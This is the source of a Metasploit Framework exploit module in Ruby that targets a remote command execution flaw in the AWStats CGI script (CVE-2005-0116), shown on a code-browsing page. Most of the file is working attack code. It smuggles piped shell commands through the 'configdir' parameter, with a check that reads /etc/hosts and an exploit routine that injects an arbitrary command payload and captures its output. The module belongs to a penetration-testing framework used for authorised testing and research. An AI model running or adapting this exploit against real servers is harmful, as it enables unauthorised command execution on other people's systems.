root / modules / exploits / unix / webapp / awstats_configdir_exec.rb @ master
History | View | Annotate | Download (2.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = ExcellentRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::HttpClient |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'AWStats configdir Remote Command Execution', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits an arbitrary command execution vulnerability in the |
| 26 |
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 |
| 27 |
are vulnerable. |
| 28 |
},
|
| 29 |
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ], |
| 30 |
'License' => MSF_LICENSE, |
| 31 |
'Version' => '$Revision$', |
| 32 |
'References' =>
|
| 33 |
[ |
| 34 |
['CVE', '2005-0116'], |
| 35 |
['OSVDB', '13002'], |
| 36 |
['BID', '12298'], |
| 37 |
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'], |
| 38 |
], |
| 39 |
'Privileged' => false, |
| 40 |
'Payload' =>
|
| 41 |
{
|
| 42 |
'DisableNops' => true, |
| 43 |
'Space' => 512, |
| 44 |
'Compat' =>
|
| 45 |
{
|
| 46 |
'PayloadType' => 'cmd', |
| 47 |
'RequiredCmd' => 'generic perl ruby bash telnet', |
| 48 |
} |
| 49 |
}, |
| 50 |
'Platform' => 'unix', |
| 51 |
'Arch' => ARCH_CMD, |
| 52 |
'Targets' => [[ 'Automatic', { }]], |
| 53 |
'DisclosureDate' => 'Jan 15 2005', |
| 54 |
'DefaultTarget' => 0)) |
| 55 |
|
| 56 |
register_options( |
| 57 |
[ |
| 58 |
OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), |
| 59 |
], self.class)
|
| 60 |
end
|
| 61 |
|
| 62 |
def check |
| 63 |
res = send_request_cgi({
|
| 64 |
'uri' => datastore['URI'], |
| 65 |
'vars_get' =>
|
| 66 |
{
|
| 67 |
'configdir' => '|echo;cat /etc/hosts;echo|' |
| 68 |
} |
| 69 |
}, 25)
|
| 70 |
|
| 71 |
if (res and res.body.match(/localhost/)) |
| 72 |
return Exploit::CheckCode::Vulnerable |
| 73 |
end
|
| 74 |
|
| 75 |
return Exploit::CheckCode::Safe |
| 76 |
end
|
| 77 |
|
| 78 |
def exploit |
| 79 |
command = Rex::Text.uri_encode(payload.encoded) |
| 80 |
urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|" |
| 81 |
|
| 82 |
res = send_request_raw({
|
| 83 |
'uri' => urlconfigdir,
|
| 84 |
'method' => 'GET', |
| 85 |
'headers' =>
|
| 86 |
{
|
| 87 |
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
| 88 |
'Connection' => 'Close', |
| 89 |
} |
| 90 |
}, 25)
|
| 91 |
|
| 92 |
if (res)
|
| 93 |
print_status("The server returned: #{res.code} #{res.message}")
|
| 94 |
|
| 95 |
m = res.body.match(/YYY\n(.*)\nYYY/m)
|
| 96 |
|
| 97 |
if (m)
|
| 98 |
print_status("Command output from the server:")
|
| 99 |
print("\n" + m[1] + "\n\n") |
| 100 |
else
|
| 101 |
print_status("This server may not be vulnerable")
|
| 102 |
end
|
| 103 |
else
|
| 104 |
print_status("No response from the server")
|
| 105 |
end
|
| 106 |
end
|
| 107 |
|
| 108 |
end
|